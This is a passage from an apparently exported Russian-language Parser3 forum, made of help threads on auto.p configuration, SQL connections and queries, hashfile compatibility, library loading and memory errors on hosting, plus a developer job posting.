P.S. предположение: вероятно у вас некорректно указана строка подключения к БД или SQL парсеру сервер не доступен."
"78716","мб, лишние табы между колонками? помоему, должно быть строго по 1 табулятору"
"78717","в корневой папке открыл auto.p\
теперь нет ошибки, теперь белый фон!\
\
добавил @unhandled_exception_debug[] в методе @unhandled_exception[]\
\
[] - разве сдесь не чего не надо добавлять?\
\
\
[code]\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;;\
\
<p>The server encountered an unhandled exception \
and was unable to complete your request.</p>\
<p>Please contact the server administrator, $env:SERVER_ADMIN\
and inform them of the time the error occurred, \
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
]\
\
@unhandled_exception[exception;stack]\
[b]@unhandled_exception_debug[][/b]\
#use debug version to see problem details\
^unhandled_exception_release[$exception;$stack]\
#^unhandled_exception_debug[$exception;$stack]\
\
\
\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
\
# mysql 3.xx & 4.0\
#$SQL.connect-string[mysql://user:pass@host/db?charset=cp1251_koi8]\
# mysql 4.1 and higher\
#$SQL.connect-string[mysql://user:pass@host/db?charset=cp1251]\
#$SQL.connect-string[pgsql://user:pass@host/db]\
#$SQL.connect-string[oracle://user:pass@service?NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS]\
#$SQL.connect-string[odbc://DSN=datasource^;UID=user^;PWD=password]\
#$SQL.connect-string[sqlite://db][/code]"
"78718","- я не писал про auto.p из корневой папки, я писал про конфигурационный auto.p и писал где он должен быть\
\
- с @unhandled_exception_debug[] вы сделали фигню. разберитесь что означает \"вызов метода\". это описывается в первом-же уроке.\
\
собственно дальше пока двигаться смысла нет.\
\
P.S. в предыдущем сообщении я кажется правильно угадал причину проблемы."
"78719","метод задал\
в корневом сайте\
auto.p\
@unhandled_exception[]\
$unhandled_exception[@unhandled_exception_debug[]]\
\
метод вызова\
index.html\
[code]^unhandled_exception[][/code]\
\
http://parsertest/news/\
теперь\
Unhandled exception in /news/: method of MAIN (MAIN) accepts maximum 0 parameter(s) (2 present) [parser.runtime]\
\
так?"
"78720","Прошу прощения, не есть профильная тема.\
Столкнулся с разграничением прав на таблицу для пользователя.\
Задача: таблица имеет поля a,b,c,d - нужно разрешить запросы вида:\
select `a`,`b` from `tabl` where `c` = '1' and d = '1';\
без доступа селект к c и d.\
Как полагаю - за подобное должен отвечать grant refernces (ака доступ к индексам). Крутил - без grant select на c и d не работает.\
Влез в gruber - он предлагает через create view (еще не пробовал).\
Однако grant refernces в PAMе на поле в таблице показывает, что не реализовано в версии мускула - пробовал разные, вплоть до 5.7.1 (или что там в деве на mysql.com), думаю, посмотреть кластерную версию 7.х.х\
\
Ну, вообщем-то и вопросы:\
1. Это я \"не то\" леплю?\
2. Ктонить подобное реализовывал и как?\
3. Как дела в PG с этим? если мускул не способен такое реализовать, то думаю стоит на Postgre сесть."
"78721","... и давайте доступ к ним. Или уберите всю логику в хранимые процедуры.\
\
Но вообще задача попахивает «кровавым энтерпрайзом», поскольку в современном вебе представить необходимость в подобных системах безопасности сложно. :)"
"78722","Спасибо.\
До первого догуглился, а второе даже в гологу не пришло.\
\"кровавым энтерпрайзом\" - сильно, но не попал :) Есть мысль сделать в проекте немного сложнее систему авторизации, городить всякий бред по коду - маразм, когда можно разграничить на уровне ПО"
"78723","hashfile были созданы в 3,4,0 при добавлении ключей использовался параметр $.expires(0)\
Теперь же, если открыть hashfile в новой версии парсера, он теряет записанные ключи.\
Сайт бородатый, но требуется новая версия, чтобы нормально работать с mysql, что-то не хочется мучатся и собирать бородатую версию на сервере ((\
\
PS 3.4.0 был 64б, а 3,4,2 32битный.\
В общем получается несовместимость в битности, т.к. и 32б 3,4,0 не читает hashfile. А на хосте нету 64битной libmysqlclient.so (. буду искать, может получится подложить в хом"
"78724","написать import/export hashfile-а через файл с table -- дело 5 минут."
"78725","на данный момент спасло, то что можно подложить библиотеку в хом директорию и её использовать. Но вот вопрос, почему же такая несовместимость?) На ровном месте (("
"78726","собственно hashfile нами никогда не позиционировался как хранилище постоянных данных (для этого есть SQL).\
он позиционировался как быстрое хранилище временных данных, потеря которых не критична/восполнима."
"78727","я не пойму что мне делать!("
"78728","А заодно еще раз перечитать первый урок и faq? Пока создается ощущение, что вы пытаетесь программировать методом тыка, но это вряд ли хорошая идея. :)"
"78729","вы сделали фигню.\
перечитайте ещё раз то, что я вам рекомендовал сделать.\
разберитесь как это правильно сделать и сделайте.\
только после этого будет иметь смысл двигаться дальше."
"78730","auto.p искать в самом парсере, в корневой папке или где то в другом месте?\
\
@unhandled_exception[]\
$exception[@unhandled_exception_debug[]]\
$exception\
теперь правильно, вызвал метод? если нет то в чём моя ошибка, скажите пожалуйста?)\
\
\
Unhandled exception in /news/: method of MAIN (MAIN) accepts maximum 0 parameter(s) (2 present) [parser.runtime]"
"78732","То, что вы пытались написть должно выглядеть так:\
[code]\
@unhandled_exception[exception;stack]\
  ^unhandled_exception_debug[$exception;$stack]\
[/code]\
\
p.s. Если бы вы внимательно разобрались с файлом auto.p, который идет с Парсером, то такого вопроса не возникло бы. :)"
"78733","спасибо,\
я так понял \"Строка соединения должна начинаться с протокола :/ /\"\
\
сама ошибка\
\
connect\
connection string must start with protocol://\
Z:/home/parsertest/www/news/index.html(4:2)"
"78734","урок 4\
сделал запрос как в книжке\
\
[code]^connect[$connect_string]{\
^void:sql{insert into news\
(date, header, body)\
values\
('$form:date', '$form:header', '$form:body')\
}\
…cообщение добавлено\
}[/code]\
\
выдаёт ошибку\
\
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '^void:sql{insert into news (date, header, body) values ('$form:date', '$form:' at line 1\
всё делаю как в уроке\
скажите, пожалуйста, что я сделал не правильно что исправить надо?"
"78735","оказалось, лишние табы между колонками,\
спасибо)"
"78736","Дайте больше кода, т.к. приведенный вами должен работать. По вашей ошибке получается что в SQL-запрос попал (успешно причем) парсерный код, причем \"грязный\", например загруженный из файла и переданный внутрь ^void:sql{}"
"78737","именно.\
\
в [url=/forum/?id=78705]приведённом вами коде[/url] корневого auto.p нет определения переменной connect_string и вообще метода @auto[], про которые написано в 4 уроке."
"78738","скажите, пожалуйста, какой код, дать?"
"78739","хм...\
Давайте для начала приведите ошибку полностью. Где вы ее взяли? Из лога парсера? тогда там должно быть имя файла откуда ошибка, номер строки и позиция где произошла ошибка. Вот ее и приведите, а так же код из файла на который указано в логе. Если он не большой - то можно весь файл полностью.\
\
Хотя у меня закралось подозрение, что вы взяли код из урока и сунули его в phpmyadmin, т.к. код ошибки #1064 в лог парсера не попадает. Если я прав, то не понимаю что вы пытались этим сделать"
"78740","я только учусь))\
да, взял из урока код.\
ошибка из phpmyadmin\
\
[i]стр 30[/i]\
хотел подключить базу данных, как написано в уроке,\
выполил запрос SQL для вставки данных в таблицу."
"78741","[quote]урок 4\
сделал запрос как в книжке[/quote]\
Того что вы сделали в документации не написано, там вообще ни слова про pma нет. \
[quote]скажите, пожалуйста, что я сделал не правильно что исправить надо?[/quote]\
Сделайте урок так, как в нем написано"
"78742","явное непонимание чего делает человек, т.е. уроки дают хороший пример, для людей имеющих хотябы общее представление о базовых составляющих веб-программирования.\
А так получается: смотрит, и нифига не понимает где код парсера, а где код скула, и кое где улыбается кодам хтмл (полученым с лавки средней школы).\
Причём, это имеет место быть всем подряд. Лично рекомендовал именно парсер для начинания и 100% попадания в теже грабли, кто пробовал.\
Авторам доки не мешало бы добавить сраницу для n00bов с какими-нибудь явными примерами и (что-то вроде) блоков - как и куда двигается процесс формирования страниц."
"78743","В уроках всё разжевано до невозможности, куда еще то? Просто брать код, копировать в свои файлы и всё будет работать.\
\
Если вы проходили через такие \"грабли\" неоднократно - напишите правильную как вы считаете инструкцию для \"нубов\", если она будет полезной и правильной уверен разработчики добавят ее в доку. \
\
А разжевывать приципы веб-приложений, CGI, синтаксис SQL, etc... врядли входит в задачу парсера, есть куча книг на эти темы. Мне если честно даже в самом начале пути не приходило в голову кинуть код парсера в phpmyadmin, я не понимаю как до такого можно додуматься."
"78744","Уверен, что ссылку с parser.ru поставят без проблем. :)"
"78745","Сегодня как раз сотый день этого года. Или четырехсотый... Но это уже кому как нравится.  :)"
"78746","Вот то что смог выдать мой мозг, и видимо что то не то...\
[code]	$editNotes[^connect[$connect_string]{\
		^table::sql{SELECT id, date, title, description, article, keywords \
			FROM mere_note WHERE id = '$form:id'}\
	}]\
	^if($editNotes){\
	<form method=\"POST\">\
	<p>\
	Дата: <input name=\"date\" value=\"$editNotes.date\"><br/>\
	Название: <input name=\"title\" value=\"$editNotes.title\">\
	</p>\
	<p>\
	Краткое описание:<br/>\
	<textarea cols=\"50\" name=\"description\" rows=\"5\">$editNotes.description</textarea><br/>\
	Текст:<br/>\
	<textarea cols=\"50\" name=\"article\" rows=\"5\">$editNotes.article</textarea><br/>\
	Ключевые слова: <input name=\"keywords\" value=\"$editNotes.keywords\">\
	</p>\
	<p>\
	<input type=\"submit\" value=\"Опубликовать\" name=\"posted\">\
	<input type=\"reset\" value=\"Отмена\">\
	</p>\
	</form>\
	^if(def $form:date && def $form:title && def $form:description && def $form:article && def $form:keywords){\
		^connect[$connect_string]{\
			^void:sql{UPDATE id, date, title, description, article, keywords INTO mere_note\
					SET\
				date = '$form:date', title = '$form:title', description = '$form:description', article = '$form:article', keywords = '$form:keywords'\
					WHERE id = '$editNotes.id'\
			}\
				…сообщение добавлено\
		}\
	}{\
		…для добавления новости необходимо заполнить все поля формы\
	}\
	}[/code]\
Задача: получать данные записанные в БД, изменять их (править/редактировать) и сохранять. Пробовал через INSERT, работает, но создается еще одна запись, текущая не перезаписывается."
"78750","По поводу ошибки вам уже ответит Михаил. Но Я еще дополню, про нелогичность кода.\
Во первых я бы разделил отображение формы и операции с данными.\
Например\
[code]@auto[]\
$hParam[$form:fields]\
^switch[$form:action]{\
		^case[update;insert]{\
			^oSql.void{\
				^if(def $hParam.id){UPDATE}{INSERT}\
					arenda\
				SET\
					^forms:sqlString[$fields;$hParam;;1]\
				^if(def $hParam.id){WHERE id = $hParam.id LIMIT 1}\
			}\
			^if(!def $hParam.id){$hParam.id[^oSql.last_insert_id[]]}\
			$response:location[./arenda-edit.html?id=$hParam.id]\
		}\
		^case[edit;DEFAULT]{\
			^if(def $hParam.id){\
				$_hash[\
					^oSql.hash{\
					SELECT * FROM arenda WHERE id = $hParam.id\
					}\
				]\
				$id[$hParam.id]\
				$hParam[$_hash.[$hParam.id]]\
				$hParam.id[$id]\
			}\
			^form[]\
		}\
	}\
\
@form[]\
	<form method=\"post\" enctype=\"multipart/form-data\" action=\"./arenda-edit.html\" >\
# Ваши инпуты, у меня небольшой класс который мне в этом помогает\
		^forms:htmlOption[$fields;$hParam]\
		^if(def $hParam.id){\
			<button class=\"g-button\" name=\"action\" value=\"update\">Обновить</button>\
		}{\
			<button class=\"g-button\" name=\"action\" value=\"insert\">Добавить</button>\
		}\
	</form>\
[/code]\
\
В итоге имеем разделение, после поста формы делается апдейт или инсерт и редирект на форму редактирования.\
Почему так сделано, потому что есть один минус в $form это совмещение POST и GET, приходится каждый раз чистить GET перед постом, чтобы не было неразберихи.\
^forms:sqlString просто делает строку вида fieldName='fieldValue'\
^forms:htmlOption шаблонизирует элементы формы ;)"
"78751","Спасибо. Помогло. Изменил синтаксис и все работает. Вот что вышло:\
[code]$editNotes[^connect[$connect_string]{\
	^table::sql{SELECT id, date, title, description, article, keywords \
		FROM mere_note WHERE id = '$form:id'}\
}]\
^if($editNotes){\
	<form method=\"POST\">\
		Дата: <input name=\"date\" value=\"$editNotes.date\"><br/>\
		Название: <input name=\"title\" value=\"$editNotes.title\"><br/>\
		Краткое описание:<br/>\
		<textarea cols=\"50\" name=\"description\" rows=\"5\">$editNotes.description</textarea><br/>\
		Текст:<br/>\
		<textarea cols=\"50\" name=\"article\" rows=\"5\">$editNotes.article</textarea><br/>\
		Ключевые слова: <input name=\"keywords\" value=\"$editNotes.keywords\"><br/>\
		<input type=\"submit\" value=\"Обновить\" name=\"repost\">\
		<input type=\"reset\" value=\"Отмена\">\
	</form>\
	^if(def $form:date && def $form:title && def $form:description && def $form:article && def $form:keywords){\
		^connect[$connect_string]{\
			^void:sql{UPDATE mere_note SET\
				date = '$form:date', title = '$form:title', description = '$form:description', article = '$form:article', keywords = '$form:keywords'\
					WHERE id = '$editNotes.id'\
			}\
				$response:refresh[\
					$.value(0)\
					$.url[$response:location]\
				]\
				…сообщение добавлено\
		}\
	}\
}[/code]\
\
Вот один вопрос остался, Я где-то видел ответ на него, да найти не могу.\
[code]<input type=\"submit\" value=\"Обновить\" name=\"repost\">[/code]\
Как сделать так, чтобы при нажатии на name=\"repost\" выполнялось обновление, и скажем добавить еще одну кнопочку, name=\"delete\", при нажатии на которую происходило удаление."
"78752","по которому вы будете понимать, что надо делать.\
Вариантов два через <input type=\"checkbox\" name=\"delete\" />\
и через кнопки \
<button name=\"action\" value=\"update\">Обновить</button>\
<button name=\"action\" value=\"insert\">Добавить</button>\
<button name=\"action\" value=\"delete\">Удалить</button>\
\
Выше я предложил вариант как их сделать просто разбор action.\
\
А еще в списке при просмотре вашего списка добавить ссылку на удаление\
/del-news.html?id=1\
/edit-news.html?id=1&action=delete"
"78753","Сервер Debian 7, apache2-2.2.22-13, mysql-server-5.5-5.5.31+dfsg-0+wheezy1 ставил сборку для debian 6 самую последнюю в списке из новы, выдает 500 ошибку. как быть?"
"78754","Хеш проще создавать так:\
[code]$a[\
	$.1(3)\
	$.2(5)\
	$.3(7)\
][/code]"
"78755","Добрый день!\
Кто нибудь реализовывал на парсере обратотку стороннено API которое поддерживает  JSON-RPC 2.0?\
Я никак не могу понять как через ^curl:load (или ^pfCFile:load) передать входные параметры.\
Те что видны в консоле хрома как переданные параметры \"Request Payload\" \
скриншот http://take.ms/0zEDub"
"78756","Вопрос снимается.\
Параметры передаются в теле запроса, примерно так\
[code].body[.....][/code]"
"78757","Особенное внимание обратите на то как и где смотреть текст ошибок."
"78758","driver failed to initialize client library '/usr/lib/libmysqlclient.so.16', /usr/lib/libmysqlclient.so.16: cannot open shared object file: No such file or directory\
\
http://www.parser.ru/forum/?id=77329 - читал, не помогло"
"78759","Должно работать, надо пробовать запустить парсер из консоли и смотреть ошибку. Note: подразумевается, что битность парсера соответствует битности вашей OS."
"78760","Если есть доступ к консоли, посмотреть на выдачу ls -la  /usr/lib/libmysqlclient* и прописть правильный путь в auto.p"
"78761","Здравствуйте.\
\
Вопрос наверное вообще нубский, но всё же.\
\
Как отправить запрос на другой домен и получить ответ? cUrl на хостинге нет."
"78762","Цитирую из доков:\
\
[quote]Пример загрузки файла с HTTP-сервера \
$file[^file::load[text;http://www.parser.ru/; \
   $.timeout(5) \
]] \
Программное обеспечение сервера: $file.SERVER \
<hr /> \
<pre>$file.text</pre>[/quote]"
"78763","Приветствую уважаемых участников. \
У нас несколько сайтов на Парсере, с одним и тем же движком, сначала все были на одном хостинге. Два из этих сайтов изредка подтормаживали и вылетали ез видимой причины. Я уже об этом писал здесь http://www.parser.ru/forum/?id=78299\
\
Но удалось найти закономерность: глючат сайты с низкой посещаемостью. На одном и том же хостинге, с той же версией Парсера, движком, БД, один сайт держит 20000 обращений в сутки и работает стабильно, а другой - 20, т.е. в 1000 раз меньше, и с него мне пару раз в день приходят сообщения об ошибке: так и так, скрипт выполнялся целых 15 секунд, запущено аварийное завершение. \
Если код по каким-то причинам не доходил до аварийной проверки времени, то Парсер уже убивался сам:\
out of memory: failed to allocate 16 bytes. heap_used=92770304, heap_free=0, bytes_since_gc=122970880, total_bytes=122970880\
\
Что характерно, мне ни разу не удавалось воспроизвести эту ошибку. Видимо, своими запросами я делал сайт более посещаемым, и не знаю, может Парсер переселялся с диска в память, где ему давали больше ресурсов? Да, звучит нелепо, но это пока единственное объяснение, которое не удалось исключить."
"78764","[code]\
#Breaks page execution if reached time limit.\
@ihavenotime[src][d3;mytime]\
$bigtime(^globals.timeout.double[]) \
$d3[^date::now[]]\
#$now создается в момент запуска\
$elapsed(^d3.unix-timestamp[] - ^now.unix-timestamp[])\
^if($elapsed > $bigtime){\
	^throw[timeout.exceeded; $elapsed  ^lang[462]]\
}\
[/code]\
Этот код вызывается в нескольких проблемных местах, затем ошибка отправляется мне по почте. Все проблемные места представлены в ошибках с ОДИНАКОВОЙ частотой, следовательно, дело не в нашем коде."
"78765","Даже для 64-битных систем это много."
"78766","Я об этом в каждом сообщении толкую, вы вчитайтесь сначала. \
Скрипт при каждом запуске \"отжирает\" максимум 6 мегабайт. Я не знаю, откуда берется сотка, более того, я точно установил, что дело не в нашем коде."
"78767","вы измеряете чистое время.\
да, OS может \"долго запускать\" cgi, если обращения к ней редкие. также может быть долгий запуск драйвера и sql.\
если на данном сервере дисковая система перегружена, то при открытии большого кол-ва файлов (уже ваши cfg, p) тоже могут быть тормоза.\
\
сравнивать процессы на разных серверах не совсем корректно. очено может быть, что ваш сильно-нагруженный сайт находится в лучших условиях (на хосте меньше сайтов и нет нагруженных, разные параметры железа, разные настройки OS и ограничения).\
\
вы пишите, что сами ошибку не видели.\
а вы точно смотрели обращения к странице в идентичных условиях? т.е. с теми get/post параметрами, которые привели к ошибке?\
точно вы не забыли про скрытые и редко запускаемые процессы (например про какие-нить очистки hashfile-ов, запускаемые случайно с некоторой периодичностью, которые жрут память/время)?\
\
в любом случае  heap_used=92770304 и total_bytes=122970880 -- по моему много. чудес не бывает, и если израсходовано много памяти, то кто-то её израсходовал. и тратил на это время. 92 MB -- это много для генерации обычных html-страничек.\
\
я бы не искал мифическое чудовище (которое может быть совсем не в вашем коде, а в настройках конкретных серверов), а сосредоточился на оптимизации кода.\
если один код работает в нескольких местах, то оптимизировать его очень желательно."
"78768","То есть, глючный запуск, конечно, отжирает 120мб, но всякий раз, когда я пытаюсь повторить запрос, с теми же самыми параметрами, загрузка показывает 6-7мб. И кэш я тоже чистил.\
Напрашивается вывод: Парсер может создавать утечки памяти, будучи запущен с каким-то длительным перерывом."
"78769","[quote]Скрипт при каждом запуске \"отжирает\" максимум 6 мегабайт.[/quote]\
\
как измеряете?"
"78770","1. Код один и тот же. Более того, я однажды взял все настройки и дизайн-шаблоны с посещаемого сайта, и поставил на глючный на пару дней. Глючный сайт продолжил глючить, посещаемый не сглючил ни разу.\
2. Я запрашивал глючный сайт с неглючного через iframe, случайным образом. Глючный не выдал ни одной ошибки за этот период. А это уже прямое указание на связь ошибки с периодом запуска Парсера.\
3. Все вылеты имеют случайный разброс по урлам, по параметрам и по контрольным точкам. Повторный вызоы не приводит к ошибке, причем как с чищенным, так и с нечищенным кэшем. \
4. На самом деле, мне один раз удалось вызвать ошибку - зайдя утром на главную страницу сайта. Нет смысла повторять, что больше я ее не видел ни разу.\
\
Мы скоро переезжаем на свой сервер, можно ли его как-то сконфигурировать, чтобы отловить эту ошибку на уровне Парсера? Может быть, у вас есть какие-то привычные отладочные программы?"
"78771","$v.utime/$v.stime sec, $v.maxrss/$status:memory.used kb at \"$msg\"\
на локалке это выглядит так\
0.140625/0.03125 sec, 6120/1976 kb at \"страница сформирована\"\
на вирт.хостинге память такая же"
"78772","У меня одинаковые копии сайта на локалке (Windows) и на сервере (Fedora). Включил сообщения Rusage ижму F5. \
На локалке такая последовательность (цифра = загрузка в мегабайтах):\
6 6 4 6 6 7 6 6 6 7 6 6 6 .... всегда ровно\
\
В вебе:\
 7 7 [b]27 10[/b] 6 6 7 4 5 7 7 7 7 6 7 7 6 5 7 6 7 7 9 7 [b]29[/b] 7 7..."
"78773","[quote]Парсер может создавать утечки памяти, будучи запущен с каким-то длительным перерывом.[/quote]\
\
Если у программы на входе одни и те же данные, она отработает так же и на выходе будет тот же результат. :)\
\
На что обратил бы внимание:\
\
1. Кеширование. Точно у вас нет никакого кеширования (через ^cache или как-нибудь еще)?\
\
2. Размер считываемых в память объектов. Обычно, когда работает парсерный код, соотношение heap_used и\
122970880 - один к трем, у вас же они отличаются всего лишь на треть. Это косвенно говорит о том,\
что аллоцируются довольно большие объемы памяти (что-то большое считывается с диска?)\
\
И еще о дисковой активности. Это правда никак не влияет на потребляемую память, но часто влияет на общее время выполнения (но не на расход CPU процессом по rusage). Например если у вас при запуске измеряется размер у сотни картинок, то первый запуск будет медленным, а второй - на порядок более быстрым, поскольку требуемые данные уже будут скешированы в память OS."
"78774","1. то, что код один и тот-же, ещё не означает, что он правильный. очень может быть, что при разных входных даных (form, DB, cookie, hashfile) он работает сильно по разному.\
\
2. мистика какая-то. вы уверены, что эксперимент поставлен корректно?\
в любом случае, лучше рассматривать то, что вылеты есть систематически, как хороший знак. это значит что проблема хоть как-то воспроизводится и её причины можно пытаться найти.\
\
3. вы называете вылетами завершение по вашему throw или по записям в серверном логе с out of memory? просто по моему это могут быть сильно разные вещи. ваш watchdog некорректен, т.к. смотрит на текущее время.\
например у вас есть запрос ^int:sql{select 2+2}\
время его выполнения никогда не учитывается в stime. но если sql сильно тормозит, то в вашем времени выполнения эти тормоза будут заметны очень сильно. аналогично -- все системные вызовы (Костя про это уже привёл пример).\
OS вроде не по реальному времени пристреливает ваш скрипт.\
\
я уже предлагал писать в лог записи с началом работы и завершением работы с uid-ами и подробностями (как минимум информацию о form), чтобы понять кто отваливается (ваше принудительное отваливание по времени предлагаю убрать).\
в дополнение в лог можно добавить несколько точек кода с utime и stime и mem usage. лог лучше писать в csv виде, чтобы потом легко загрузить в БД (проще анализировать).\
\
расскажите, наконец, используется-ли у вас hashfile или упомянутые мной редкозапускаемые процессы.\
например, может быть такой кусок кода:\
[code]\
^if(^math:random(1000)<5){\
	$hf[^hashfile::open[...]]\
	^hf.cleanup[]\
#	или, хуже:\
#	^hf.foreach[;]{}\
}\
[/code]\
\
понятно, что в среднем каждый двухсотый запуск будет вызывать очистку хэшфайла. однако не каждая очистка может быть \"фатальной\". если перед очисткой приходит google bot, который \"насрал\" в hashfile, то она будет фатальной, если не приходил -- не будет.\
т.е. код один (и корректный), параметры form одни, но условия всё равно могут быть сильно разные.\
\
я пока в такие memory leak-и, которые из 6 МБ периодически на определённой площадке приводят к потреблению 100 МБ не верю. нет, я могу допустить, что такое возможно, но мне кажется, что вероятность других проблем гораздо выше.\
\
ещё мысли в порядке бреда:\
- попробовать другую сборку парсера\
- попробовать собрать парсер на месте (и первое и второе в первую очередь ради GC, заодно попробовать друго GC)\
- сделайте бинарнику strip (может OS получше будет относится к нему в плане кэширования)\
- попробовать обновить парсер (у вас вроде был 3.4.1, можно попробовать 3.4.2 или текущий head)\
- что у вас в $LIMITS.post_max_size?"
"78775","Все бы прозрачно стало.\
А есть вообще возможность, как-то сделать подобное расширение? Может даже отдельную сборку парсера с полным логированием действий. Иногда бывает очень нужно."
"78776","сделать скрипт, который будет периодически запускать парсер с запросом главной страницы и логировать все вызовы и анализировать их потом, я думаю все сразу станет ясно )"
"78777","Парсер же ничего не знает о времени перерыва между его запусками, знать об этом может только внешняя среда. Возможно у хостера какое то хитрое динамическое распределение ресурсов, и те площадки, которые малоактивны он перекладывает в какой то suspend-режим, поэтому первый запрос после продолжительного простоя может занять больше времени. \"Утечка памяти\" вообще к парсеру не применима, слишком мало время его выполнения (обычно). Ну и как вам уже сказали - не может один и тот же процесс с одинаковым in/out отъесть разное количество памяти, значит различия какие то все же есть.\
\
Как workaround, пока не разберетесь с основной причиной - повесьте запрос к вашему тихому \"ресурсу\" на крон раз в 15 минут, например"
"78778","Помогите разобраться новичку. Совершенно ничего не понял из документации по подключениям к базам данных и дальнейшей работе. Может кто расписать подробно, начиная от подключения и применения таблицы к шаблону? Да, и как получить адерессную строку образца found/{id из таблицы}? \
\
Заранее спасибо!"
"78779","... с очень подробным описанием работы с СУБД. Писать еще подробнее имеет смысл только после того как вы сделаете все уроки и опишите конкретно, что вы делали и что не получилось. :)"
"78780","Мне бы просто пару простых ответов, типа:\
\
1. Так подключить: сюда пароль, тут имя базы данных и тд и тп.\
2. А вот как нужно вставлять в шаблон значения строк таблицы.\
\
Ну вы поняли меня. Просто из вот этого ничего не понятно:\
[code]^connect[$connect_string]{ \
   $news[^table::sql{select \
       date, header, body  \
   from \
      news  \
   where \
      date='${now.year}-${now.month}-$day' \
   }] \
   ^if($news){ \
      ^news.menu{ \
         <b>$news.date - $news.header</b><br /> \
         ^untaint{$news.body}<br /> \
      }[<br />] \
   }{ \
      За указанный период новостей не найдено. \
   } \
} [/code]"
"78781","1. http://www.parser.ru/docs/lang/opconnect.htm, http://www.parser.ru/docs/lang/app3mysql.htm\
2. Ответ на второй вопрос содержится в том коде, который вы привели.\
\
Как еще проще описать не понятно — в доке этот вопрос разжеван крайне подробно."
"78782","http://www.parser.ru/docs/lang/?lesson4.htm"
"78783","Блин, ну не все такие понятливые в документации. Может кто-нибудь написать auto.p по такому примеру: \
\
Есть sql-таблица из двух строк: id и body (просто текст). Что писать в auto.p, чтобы получилось в index.html подобное\
\
<p><b>id1<b> текст 1</p>\
<p><b>id2<b> текст 2</p>\
...\
\
Пожалуйста, не нужно отправлять к урокам, думаю мой пример не так сложен."
"78785","... тем более, что вы сами же и написали ответ на свой вопрос в http://www.parser.ru/forum/?id=78780\
\
Если вы покажете что и как вы пытаетесь сделать: где и какие файлы создаете, что в БД, код и пр. и опишите проблему, то, возможно, помочь сможем. А дать ответ на «у меня ничего не получается» попросту невозможно. :)"
"78786","Где я написал? Вы не можете написать auto.p по таблице из двух строк? Я прошу просто код.\
\
Я делаю sql-запрос:\
CREATE TABLE `test` (\
`id` INT NOT NULL AUTO_INCREMENT ,\
`body` TEXT NOT NULL ,\
PRIMARY KEY ( `id` ) \
);\
\
В корне сайта создаю index.html и auto.p.\
Просто скажите, что написать в auto.p (без комментариев, просто код), чтобы в index.html был таким:\
\
<p><b>id1<b> body 1</p>\
<p><b>id2<b> body 2</p>"
"78788","Представьте, что я вообще ничего не написал. В документации больше такста, чем примера. Я больше понимаю при минимуме информации: всего 2 строки в таблице и только вывод текста на страницу.\
\
Покажите, пожалуйста, готовый пример по конструкции, которую я вам описал."
"78790","Ок!\
\
[b]index.html[/b]\
^text[]\
\
[b]auto.p[/b]\
[code]@auto[] \
$connect_string[mysql://root:1234@localhost/dante_test]\
\
@text[]\
^connect[$connect_string]{ \
   $tests[^table::sql{select \
       id, body  \
   from \
      tests\
   }] \
}\
^sections.menu{ \
<p><b>$tests.id</b> $tests.body</p> \
}\
[/code]"
"78791","sections.menu -> tests.menu"
"78792","'mysql://root:1234@localhost/dante_test' $SQL:drivers table must be defined"
"78794","падает только на memory:compact\
а что делать если сборка-таки нужна?\
там парсится несколько файлов и новые записи заносятся в базу. рано или поздно парсер падает из-за нехватки памяти.\
\
хостинг обычный, я так понимаю никаких патчей не даст поставить, да и не смогу поставить я..\
\
пока в мыслях только вынести каждую операцию в разные файлы и запускать отдельным потоком, чтобы хватало памяти...\
пока не очень хочется это делать, много кода придется переписывать...\
\
может быть у кого-то есть мысли, как лучше сделать?"
"78795","Parser: 3.2.0(compiled on i686-pc-linux-gnu) \
#########\
@main[]\
$file[^file::load[text;http://www.parser.ru/; \
   $.timeout(50) \
]] \
Программное обеспечение сервера: $file.SERVER \
<hr /> \
<pre>$file.text</pre>\
Итого\
$.timeout(50) - вообще ничего;\
$.timeout(5) - timeout occured while retrieving document.\
Но некоторые страницы загружает норм., к примеру www.yandex.ru."
"78796","Вас не устраивает скорость загрузки файлов на каналах провайдера?"
"78797","Попробуйте парсер из ночных сборок (http://www.parser.ru/download/nightly/), они теперь собираются с gc7.2d, а не gc7.1. Возможно там уже решена эта проблема."
"78799","После того как страница загрузилась(timeout600) нет вообще ничего в исх. коде стр.!\
\
С $.timeout(5) все понятно - timeout occured, но почему страница пустая когда задаю 600 сек.?\
Yandex грузит мухой! Может дело в заголовках($.User-Agent и т.п.)??\
У Вас данный пример отрабатывает норм?"
"78800","[quote]но почему страница пустая когда задаю 600 сек.?[/quote]\
\
У вас скорее всего в веб-сервере таймаут меньше (в apache по умолчанию порядка минуты, смотря какой дистрибутив). То есть парсер просто не успевает отработать."
"78805","Возможно на хостинге исходящие соединения ограничены в firewall. Проверять через консоль или sh скрипт, запуская на выбор wget/fetch/lynx."
"78806","По идее если по его словам выходит пустая страница, то это что то другое. Если бы процесс снимался по таймауту - было бы HTTP 500. К тому же яндекс у него почему то загружается же"
"78807","а вы конкретно parser.ru дергаете или это так, для примера?"
"78808","Именно parser.ru"
"78809",".. в проект https://voda-uzao.ru/. Это достаточно развесистый продукт для расчетных центров и управляющих компаний. Задача достаточно сложная, но интересная. В основном используется Парсер, но есть некоторые куски на Питоне, MariaDB, Sphinxsearch, свои серверы, сложные бэкенды и т.д. Офис в 15 минутах ходьбы от м. Университет в Москве. Каждый день приезжать не обязательно, но совсем без очных встреч не обойдемся, поэтому жить лучше в Москве или области. Минимальные требования: знание любого серверного языка программирования, SQL, HTML, CSS. Зарплата по результатам собеседования. Писать на oleg@proc.ru."
"78810","В итоге собираю с сайтов инфу локально и передаю на сайт."
"78812","[code]$t[^table::create{param\
заменить_на_табуляцию}]\
$h[^t.menu{$.[$t.param](1)}]\
^h.foreach[k;v]{\"$k=$v\"}\
[/code]\
3.4.1, 3.4.2.\
Не уверен, что это не фича..."
"78815","Ибо $h.[][x] считается ошибкой"
"78816","я правильно понял, проблема в том, что можно создать запись в хэше, у которой ключ -- пустая строка?\
\
если да -- то так и задумано.\
обратиться к такой записи тоже можно, но чуть сложнее, чем к обычной:\
[code]\
$empty[]\
$h.[$empty][значение]\
[/code]"
"78818","ошибка\
